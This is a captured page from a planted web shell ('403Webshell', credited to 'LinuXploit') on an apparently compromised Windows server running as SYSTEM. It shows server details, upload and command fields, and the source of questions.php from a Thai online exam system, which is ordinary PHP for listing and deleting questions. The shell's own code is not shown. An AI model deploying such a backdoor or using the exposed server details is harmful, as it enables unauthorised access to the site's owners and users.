403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/training/group/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/training/group/questions.php
<?php
include("../session.php");
if ($role != 'group') {
    header("Location: ../index.php");
    exit;
}

include("../db.php");

if (!isset($_GET['subject_id'])) {
    echo "กรุณาเลือกวิชา"; exit;
}

$subject_id = intval($_GET['subject_id']);
$user_id = $_SESSION['user_id'];

// ตรวจสอบว่าวิชานี้เป็นของกลุ่มหรือไม่
$res = mysqli_query($conn, "SELECT name FROM subjects WHERE id = $subject_id AND group_id = $user_id");
if (!$row = mysqli_fetch_assoc($res)) {
    echo "ไม่พบวิชานี้ หรือคุณไม่มีสิทธิ์จัดการ"; exit;
}
$subject_name = $row['name'];

// ลบข้อสอบ
if (isset($_GET['del'])) {
    $qid = intval($_GET['del']);
    mysqli_query($conn, "DELETE FROM questions WHERE id = $qid AND subject_id = $subject_id");
    header("Location: questions.php?subject_id=$subject_id");
    exit;
}

$result = mysqli_query($conn, "SELECT * FROM questions WHERE subject_id = $subject_id ORDER BY id ASC");
?>

<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ข้อสอบ - <?php echo htmlspecialchars($subject_name); ?></title>
    <!-- Bootstrap 5 CSS -->
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
    <!-- Font Awesome Icons -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        :root {
            --primary-color: #4e73df;
            --secondary-color: #858796;
            --success-color: #1cc88a;
            --danger-color: #e74a3b;
            --warning-color: #f6c23e;
            --light-bg: #f8f9fc;
        }
        
        body {
            background-color: var(--light-bg);
            font-family: 'Prompt', sans-serif;
            padding-top: 56px;
        }
        
        .main-navbar {
            background: linear-gradient(90deg, var(--primary-color) 0%, #224abe 100%);
            padding: 0.5rem 1rem;
        }
        
        .main-navbar .navbar-brand {
            color: white;
            font-weight: 600;
        }
        
        .main-navbar .nav-link {
            color: rgba(255, 255, 255, 0.8);
            padding: 0.75rem 1rem;
            border-radius: 0.375rem;
            transition: all 0.3s;
            margin: 0 0.25rem;
        }
        
        .main-navbar .nav-link:hover,
        .main-navbar .nav-link.active {
            color: white;
            background-color: rgba(255, 255, 255, 0.1);
        }
        
        .main-navbar .nav-link i {
            margin-right: 0.5rem;
        }
        
        .card {
            border: none;
            border-radius: 0.5rem;
            box-shadow: 0 0.15rem 1.75rem 0 rgba(58, 59, 69, 0.1);
            margin-bottom: 1.5rem;
        }
        
        .card-header {
            background-color: #f8f9fc;
            border-bottom: 1px solid #e3e6f0;
            padding: 1rem 1.25rem;
        }
        
        .btn-primary {
            background-color: var(--primary-color);
            border-color: var(--primary-color);
        }
        
        .btn-success {
            background-color: var(--success-color);
            border-color: var(--success-color);
        }
        
        .btn-danger {
            background-color: var(--danger-color);
            border-color: var(--danger-color);
        }
        
        .user-dropdown .dropdown-toggle::after {
            display: none;
        }
        
        .user-dropdown .dropdown-toggle {
            display: flex;
            align-items: center;
            color: rgba(255, 255, 255, 0.8);
            text-decoration: none;
        }
        
        .user-dropdown .dropdown-toggle:hover {
            color: white;
        }
        
        .user-dropdown .dropdown-menu {
            margin-top: 0.5rem;
            border: none;
            box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15);
        }
        
        .table {
            border-radius: 0.5rem;
            overflow: hidden;
        }
        
        @media (max-width: 992px) {
            .navbar-collapse {
                background-color: var(--primary-color);
                padding: 1rem;
                border-radius: 0.5rem;
                margin-top: 0.5rem;
            }
        }
    </style>
    <!-- Font from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Prompt:wght@300;400;500;600;700&display=swap" rel="stylesheet">
</head>
<body>
    <!-- Main Navbar -->
    <nav class="navbar navbar-expand-lg fixed-top main-navbar">
        <div class="container-fluid">
            <a class="navbar-brand" href="#">
                <i class="fas fa-laptop-code me-2"></i>
                ระบบข้อสอบออนไลน์
            </a>
            <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" 
                    aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>
            <div class="collapse navbar-collapse" id="navbarNav">
                <ul class="navbar-nav me-auto">
                    <li class="nav-item">
                        <a class="nav-link" href="dashboard.php">
                            <i class="fas fa-tachometer-alt"></i>
                            ภาพรวม
                        </a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="subjects.php">
                            <i class="fas fa-book"></i>
                            จัดการวิชา
                        </a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link active" href="#">
                            <i class="fas fa-file-alt"></i>
                            จัดการข้อสอบ
                        </a>
                    </li>
                </ul>
                <div class="user-dropdown dropdown">
                    <a href="#" class="dropdown-toggle" id="userDropdown" data-bs-toggle="dropdown" aria-expanded="false">
                        <div>
                        <div class="fw-bold text-white"><?php echo htmlspecialchars($u_name); ?></div>
                            <!-- <div class="small" style="color: rgba(255, 255, 255, 0.7);">กลุ่ม</div> -->
                        </div>
                        <i class="fas fa-chevron-down ms-2"></i>
                    </a>
                    <ul class="dropdown-menu dropdown-menu-end shadow">
                        <li><a class="dropdown-item" href="../logout.php"><i class="fas fa-sign-out-alt me-2"></i> ออกจากระบบ</a></li>
                    </ul>
                </div>
            </div>
        </div>
    </nav>
    
    <!-- Main Content -->
    <div class="container-fluid px-4 mt-4">
        <div class="card">
            <div class="card-header d-flex justify-content-between align-items-center">
                <h6 class="m-0 fw-bold">ข้อสอบในวิชา: <?php echo htmlspecialchars($subject_name); ?></h6>
                <div>
                    <a href="subjects.php" class="btn btn-sm btn-secondary me-2"><i class="fas fa-arrow-left me-1"></i> กลับหน้าวิชา</a>
                    <a href="question_form.php?subject_id=<?php echo $subject_id; ?>" class="btn btn-sm btn-primary"><i class="fas fa-plus me-1"></i> เพิ่มข้อสอบ</a>
                </div>
            </div>
            <div class="card-body">
                <div class="table-responsive">
                    <table class="table table-hover align-middle">
                        <thead class="table-light">
                            <tr>
                                <th width="5%" class="text-center">#</th>
                                <th width="40%">คำถาม</th>
                                <th width="10%" class="text-center">คะแนน</th>
                                <th width="10%" class="text-center">ตัวเลือก</th>
                                <th width="15%" class="text-center">คำตอบ</th>
                                <th width="20%" class="text-center">จัดการ</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php
                            $i = 1;
                            while ($q = mysqli_fetch_assoc($result)):
                                $choices = array_filter([$q['choice1'], $q['choice2'], $q['choice3'], $q['choice4']]);
                            ?>
                            <tr>
                                <td class="text-center"><?php echo $i++; ?></td>
                                <td><?php echo htmlspecialchars($q['question']); ?></td>
                                <td class="text-center"><?php echo $q['score']; ?></td>
                                <td class="text-center"><?php echo count($choices); ?></td>
                                <td class="text-center"><?php echo htmlspecialchars($q['correct_choice']); ?></td>
                                <td class="text-center">
                                    <a href="question_form.php?subject_id=<?php echo $subject_id; ?>&id=<?php echo $q['id']; ?>" class="btn btn-sm btn-primary me-1">
                                        <i class="fas fa-edit me-1"></i> แก้ไข
                                    </a>
                                    <a href="?subject_id=<?php echo $subject_id; ?>&del=<?php echo $q['id']; ?>" class="btn btn-sm btn-danger"
                                       onclick="return confirm('ลบข้อนี้?')">
                                        <i class="fas fa-trash me-1"></i> ลบ
                                    </a>
                                </td>
                            </tr>
                            <?php endwhile; ?>
                            <?php if (mysqli_num_rows($result) == 0): ?>
                            <tr>
                                <td colspan="6" class="text-center text-muted">ยังไม่มีคำถาม กรุณาเพิ่มคำถามใหม่</td>
                            </tr>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
            <div class="card-footer small text-muted">
                แสดงทั้งหมด <?php echo mysqli_num_rows($result); ?> คำถาม | อัพเดทล่าสุด: <?php echo date("d/m/Y H:i"); ?>
            </div>
        </div>
    </div>

    <!-- Bootstrap Bundle with Popper -->
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit